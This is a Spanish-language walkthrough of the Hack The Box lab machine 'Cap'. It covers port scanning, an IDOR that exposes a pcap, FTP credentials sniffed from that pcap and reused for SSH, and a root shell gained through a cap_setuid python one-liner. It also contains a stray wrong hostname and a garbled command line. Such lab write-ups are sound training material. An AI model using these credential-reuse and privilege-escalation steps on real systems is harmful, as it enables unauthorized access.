Page cover

🟢Cap

En esta ocasión vamos a hacer el writeup de la máquina Cap de Hack the Box, una máquina Linux de dificultad Easy.

Información General

  • Nombre de la máquina: Cap

  • IP: 10.10.10.245

  • Sistema operativo: Linux

  • Dificultad: 🟢 Fácil

  • Fecha: 16-09-2025


Reconocimiento Inicial

Añadimos la IP al /etc/hosts

sudo echo "10.10.10.245 cap.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

sudo nmap -v -sV -T5 10.10.10.245
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Encontramos 3 puertos abiertos, entre ellos FTP que puede ser inseguro. Probando un login anonymous no conseguimos acceder, por lo que habrá que buscar otra vía:

ftp 10.10.10.245

Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.

Acceso Web

Accedemos a http://planning.htb y observamos que parece ser una plataforma de monitoreo de ciberseguridad expuesta a internet..

Enumerando el sitio web con whatweb obtenemos algo más de info:

whatweb -a3 -v http://10.10.10.245
WhatWeb report for http://10.10.10.245
Status    : 200 OK
Title     : Security Dashboard
IP        : 10.10.10.245
Country   : RESERVED, ZZ

Summary   : Bootstrap, HTML5, HTTPServer[gunicorn], JQuery[2.2.4], Modernizr[2.8.3.min], Script, X-UA-Compatible[ie=edge]

Utiliza Modernizr[2.8.3.min] por lo que igual podríamos buscar algún exploit.


Enumeración Web

Fuzzing de Directorios

Haciendo fuzzing ncontramos algunas rutas que podrían ser interesantes, cómo un csv de usuarios, aunque no podemos acceder directamente.

dirsearch -u http://10.10.10.245 -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_10.10.10.245/_25-09-16_04-45-30.txt

Target: http://10.10.10.245/

[04:45:31] Starting: 
[04:45:43] 302 -  208B  - /data  ->  http://10.10.10.245/
[04:45:43] 302 -  208B  - /data/adminer.php  ->  http://10.10.10.245/
[04:45:43] 302 -  208B  - /data/autosuggest  ->  http://10.10.10.245/
[04:45:44] 302 -  208B  - /download/history.csv  ->  http://10.10.10.245/
[04:45:44] 302 -  208B  - /download/users.csv  ->  http://10.10.10.245/

Task Completed

Enumeración web

Al entrar al apartado Security Snapshot del menú nos redirige a /data/3 (que no tiene datos de tráfico) por lo que probando a modificar el número al 0 observamos que el número de páquetes capturados ha aumentado bastante y nos podemos descargar el pcap:

Análisis del pcap

Abrimos el pcap con Wireshark para analizar el tráfico:

wireshark 0.pcap

Filtrando por el tráfico FTP encontramos unas credenciales del usuario nathan:

nathan / Buck3tH4TF0RM3!

Acceso FTP

Accedemos por FTP y conseguimos la User Flag:

ftp nathan@10.10.10.245

Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||64950|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Sep 16 11:03 user.txt
226 Directory send OK.

ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||32292|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************************************************************************|    33      282.68 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.88 KiB/s)
cat user.txt    
f601336f49928892d09d73634*******

Acceso SSH

Además de para FTP, la contraseña de Nathan también sirve para SSH:

ssh nathan@10.10.10.245

The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

nathan@cap:~$ whoami
nathan

Escalada de Privilegios

Enumeración de Privilegios

No podemos ejecutar sudo como nathan:

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

Linpeas

Ejecutamos un Linpeas para ver posibles vectores de escalada de privilegios:

Encontramos un SUID con capabilites que lo marca como crítico:

También lo podríamos encontrar con un comando como:

nathan@cap:~$ getcap -r / 2>/dev/null $ which python /usr/bin/python3.8

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Y convertirnos en root sería tan sencillo cómo ejecutar lo siguiente:

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'

root@cap:~# whoami
root

👑 Root Flag

root@cap:~# cd /root

root@cap:/root# ls
root.txt  snap

root@cap:/root# cat root.txt
c85837ce494c898e6ba6453a2*******

Última actualización

¿Te fue útil?